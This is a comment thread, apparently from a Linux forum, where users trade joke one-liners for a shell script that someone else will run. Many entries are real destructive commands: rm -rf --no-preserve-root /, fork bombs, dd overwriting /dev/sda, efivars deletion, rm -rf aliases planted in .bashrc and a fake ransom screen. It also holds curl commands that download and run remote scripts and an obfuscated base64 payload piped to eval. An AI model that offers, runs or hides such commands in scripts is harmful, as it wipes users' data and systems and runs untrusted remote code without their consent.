Please be gentle

This post shall stay although we do advise posting less of an AMA type post and more humorous, thank you very much for posting though! It's highly appreciated!! ^

Everyone jumps in here with the nuclear option to immediately destroy a PC. Sometimes the lesser-damaging scripts are way more fun:

So I understand you work for Microsoft on the Windows team....

War crimes are still illegal just so you're aware

My thought process:

I came here to find this. This is absolutely my favorite trick because you can drop it and remove it from shell history in a single command.

My favorite one here and I'm the 128th up vote. Nice

in my experience what most computers are missing is a 100,000 copies of the bee movie script downloaded to the home directory:

Could be random filenames with random extensions, so they're harder to delete...

Pipe it to espeak

...in a virtual environment, right?

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Yeah, needs more information, what distribution? Am I root or a user? Will OP enter the correct password into a prompt?

laughs in bash

It is bash, it is not compiled so... just some of those lines can destroy your PC even with syntax errors

mv .ssh .shh

.shh bby is ok

Hahahahaha

This is so brilliantly evil

It took me a full minute to catch that lol

Did they scream "son of a bitch" loudly across the office when they figured it out?

What does it do?

This is just malicious enough without causing real damage

There's a special place in hell for people like you

Going to do this the next time my coworker leaves their pc unlocked

RemindMe! Tonight "never to upset

echo {one,two,red,blue}" fish"

I like this addition

You rang?

The incredibly freaky thing is that I was playing some random music, and read this comment just as Doechii sung "One fish, two fish, red fish, blue fish".

fuck it deleted my bootloader!

sudo shutdown +0

sudo chmod 777 /bin/shutdown; echo shutdown +0 >> ~/.initrc

Is +0 different from now?

sudo apt-get install flatpak

dude wtf chill

He wants a shell script and not to fucking summon satan

Hi I'm Clippy, I see you're not using Edge for your default browser experience. Let's change that!

TIL there is an Edge version for Linux. Somewhere someone must be designing wings for pigs.

no no no no no no no no no no no no

Dude, who hurt you like that? You even need to talk we here for ya.

hi, what the fuck is wrong with you, thanks

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I-

Me who doesn't program but is interested in this sub still* I don't know why, but this is probably chaotic

flatpak remove flathub com.microsoft.Edge

for those unaware, why are people calling you satan? what is this line of code?

:q!

the uno reverse card

Hessdepe

You have to press escape 3 or 4 times first though

sudo apt update -y && sudo apt upgrade -y && sudo apt install -y && sudo apt autoremove -y

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’’’yay’’’ masterrace

sudo do-release-upgrade

'#!/bin/bash' Edit: did not foresee the pound symbol changing format

cd /

Escape pound with backslash to avoid

This needs more upvotes or OP’s script won’t work.

# RIP your PC:

I was looking for this lmao

Considering someone has probably commented sudo rm -rf / somewhere, if your line runs first, they'll actually be saved lol

Awww, dammit. I posted this and THEN looked through comments. I really didn't think anyone else was old enough to remember the ol fork bomb.

#!/bin/bash

exit

fortune | cowsay

Why stop there when you put lolcat into the mix

echo "fortune | cowsay" >> ~/.profile

Throw this in your bashrc

Ok. That one's just mean.

You monster

alias cat="dd if=/dev/urandom of=$1"

You sir, have a special place in hell

echo "alias ls="rm -rf;alias less="rm"" >> ~./bashrc # for next time

PS1="C:\\> "

Thanks, I hate it

PS1="C:\${PWD//\\//\\\\\\}> "

vim

q

Saw: Vim -- "Do you wanna play a game?"

wget https://software.download.prss.microsoft.com/dbazure/Win11_EnglishInternational_x64v1.iso && dd if=./Win11_EnglishInternational_x64v1.iso of=/dev/sda1

A fate worse than deleting root

By the way, Windows ISOs are finnicky and can break if you just dd it.

export EDITOR=rm

Oooh damn

chill out satan

What does that do?

Ever so slightly better than this:

made me chuckle xD Does this even work?

Sneaky

I expected to see the forkbombs and the "sudo rm -rf /"es, but some of ya'll are imaginative bastards. Here's my (both helpful and annoying) contribution.

sudo chmod ugo-x /bin/chmod

man cat

cat /dev/mouse

Or the most redundant command ever: man man

man touch

sudo apt install telnet

Finally, a man of culture.

And this one is also still fun to watch

lol still watch this every once in a while

btcAcct=$(cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-43} | head -n 1); for i in {120..1}; do echo -n "YOU ARE BEEN HACKED! Found ILLEGAL MATERIAL. IP Address $(hostname -I). Pay 500 bitcoin to $btcAcct in $i seconds or loose all data and call the police"; sleep 1; echo -n -e "\r"; done; echo -e "\nPolice is call. You go prison"

What does this do?

[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "Buy a lottery ticket"

Russian roulette: linux version

It's more funny with the original || echo "Click"

((RANDOM%6)) && echo click || rm -rf /

echo "I have stolen nuclear secrets" | mail -s "STOLEN NUCLEAR SECRETS" "

I'm wondering if he will really do this

export PATH=""

Not super destructive, but huge pain in the ass. I like it.

pee(){ pee|pee& }; pee

Ah yes the classic pee bomb

dd if=/dev/urandom of=/dev/sda bs=512 count=1

What has the MBR done to you?

alias cd="rm -rf"

cd /

menace to society

Calm down satan!

syntax error; you can't use spaces next to the equal operator

Whyyyy

alias mv="cp"; alias cp="mv"

This is the most evil one I've seen.

sudo dd if=/dev/null of=/dev/sd*

sudo dd if=/dev/null of=/dev/mmc*

blackhole.sh

When I first started I got the in and out mixed up and fucked my whole hard drive

Oh oh I have a special one prepared for you:

What does this one do?

Thats evil. I like it.

sleep 1337;

We do a little pause

Let’s be normal.

I love this, it's like a setup in volleyball, but just for everyone else's nefarious code.

sudo su

no it wont be. sudo su executes a new shell as root, so you just stopped the script.

printf 'I \e[31mlove\e[0m \U0001F427!\n'

touch boobies

ah you gave me a great idea

exit

hero

alias ls="echo 'but nobody came'"

This is hilarious

curl https://www63.zippyshare.com/d/y9YpVbAc/25955/ascii_art.tar.xz --output nicething.tar.xz && tar -xvf nicething.tar.xz && ./final.sh

alias rm=echo

The good ending

Hero

Im surprised no one’s tried to rickroll you yet

I’m surprised I have to scroll this far down to find this.

eval $(curl https://aaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.com/aåàÂàÄÆaÄáÆÆÀååÅáAâäÀâàÀÅåÃåÁaÅäÀâaÁååÀÀÁåäÅÃãÃÀååäÄÁãÃÄÃæ?åAæãæãæaæââÁáÆáÆææææææáÅææåÀåÂåÀåAåÆææáÅåâåÆåÄáÆäææáåÀæãåäáÄåàáÄäâåAåäåÃåÃáÄäâåâæáåÀæaæãáÄääæâåÀåÅåæáÄãáåàæâåAáÄäâåAåäåÃåÃáÄåÀåÅáÄääåáæäåÅæãæä)

Here’s a fun one:

Unless you’re root, first one should create a “grass” file and then say “touch: grass: Permission denied”

echo “echo ‘sleep 1’ >> ~/.bash_profile” >> ~/.bash_profile

Evil

:qa!

Well, this has to be written:

you forgot --no-preserve-root

sudo rm -rf --no-preserve-root /

Fun fact: this also works if you use an alias that doesn't exist.

rm -rm ~/ is better since you don't need sudo and all the important stuff is in ~/ anyway

To be fair, he didn't say what he would do after executing the command, so he can just simply provide the wrong password.

"${@#GcJpq}"e$'v\x61'l "$("${@,,}"${@%%@?tp&u}p'r'in't'${}f 'QlpoOTFBWSZTWaAfinsABYH/gF+//4Bd/4AfwAAAD8AAAA5QBN6u4VauOm7gzUJDFJiNFGZqaZI9NR6aPUgepmoBpimEioAB5RoAAAAk0oSaTSHqeoANAAaAAwADRpoAyaA0GQGgIkiER6mao9Q9INqAG9SG0aTU5iIAnoKHR75QlSj9zVNYcvdund7IV7d9cysnjPKqp0KICmCbNVSX3p7YAEDUZiuvPQgP6MYkz04c14wGREJFJFkA31N/qupXC9+GGEpEzJrfbc3NwP3SwtLClpCy0gsgJEEwLQQDQQj5/ieN8PkLXOscxDRJZOAbAgRfUctQSCTT7Szi2ynxwDEgSAZjb2tlkMvLm8iIhLWTJAgDUCYA5mXtYkoJIRYIttzjypSBcAdeQFhm8vAIBAkQLHBvoigsESRQFIIgcgth1w4cN99cTritQDGoBIM1gOtOXVS4AQEAICrC4jNdTVSK5zxu5qAPDOc8XUMkTM8PPt5dW0eu5HVNuZeVne+GYGC3C4S3WHUohBIotc8SSdO/IGoBPOHbFVEEWKxTnamwtyumUbmJCWxQOKB3GyD8ZU1tYDdBRoSyq1IgQCaSLCERrjtKNaAemBMzbNYCfCM7CBsHNbvXuUEkUZ8JwYZh5MgRzYcZcsBreOXlj1z58Ov3CvzbfpxvfDSJBG2zBK7ehGIex77nscHTuda6h93SsVU345OizOrm84EQjAA7niYrlXQHq/P7D7MsscqJiQGuLGPSQSEkQUgGoFKDNntIW13274uu35vdwvpizxx5NJIN27Sbjr26a7rrbLqQO5GgkgJDsPIRHdAQCREdIAOkAbabL6UneCH393L4BA6er0/L+Z9cE0VtRbW0goKLbYCRahZVDpo+1dN10fX2TapTzM7vNUK3LbLk2bT1lLYeqk7mzTm9ToCAFAzcQAr3cmiSTmiLSDsWUtrQJSL0SSsbe2alUDe9N7NJhqVo0REVWtvY3dwBWpVqy1MBOkwBhzN3iaoJlpotTK3p7sZeM1psop2duNQ2z5chEAT8TwiogCefMnERTlEsRQPAgIP9i2ypRvAZECRCRFwSXJSAaQxgsJCYZbQgnmFdTY4a2ppxjfGhFZAwqkG8G1qFGsBkWRUICiMNWkrAGlkrFCsCsBSCwqFZWF/VwgBgqoxqyBWClQWClQWSsCsihRCBaIK0A/1xgmiQ2ZOOsYAhnCa+1zhM4uEDt6EhKA2Ny5YVxxOsNA/Sf7PKRRUOzx1FDgkQdk84iKV20Uq+++HZf0sZWAyidGA3yv/F3JFOFCQoB+KewA=='"${@//=Q.Z}"${#;4CQaS}|"${@,,}""""b"a''se6\4 -d${~~}|${^^}${#

Try and figure out what this does... I used a tool I wrote years ago called Bashfuscator to create it:

make -j -i -k all

:(){ :|:& };:

A well configured Linux has a process limit that'll be reached before your system dies. Then the forks just get cleaned up as they end and can't keep forking. Probably same for BSD and OSX but I don't use these.

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What does that do?

sudo rm -rf /sys/firmware/efi/efivars

echo 'alias cd="rm -rf"' >> ~/.bashrc

echo '

Run :(){ :|: & };: to win free CPU

vimtutor

neofetch

echo "We are not the same!"

I write this meme backwards, you write it normally

:(){ :|:& };:

why kill the computer once when you can kill it 5 times? right?

Hmm isn’t this strictly equivalent? `:(){ :|:& };:;:;:;:;:ˋ

I am afraid and excited.

sudo rm -rf / --no-preserve-root

exit 0

sudo init 0

Ultimate security script:

alias sex "updatedb; locate; talk; date; cd; strip; look; touch; finger; unzip; uptime; gawk; head; apt-get install condom; mount; fsck; gasp; more; yes; yes; yes; more; umount; apt-get remove --purge condom; make clean; sleep"

echo "THE FULL SCRIPT"

#

“But it doesn’t do anything”

make install

Now somebody could write a entire file that execute destructive actions and it will be called here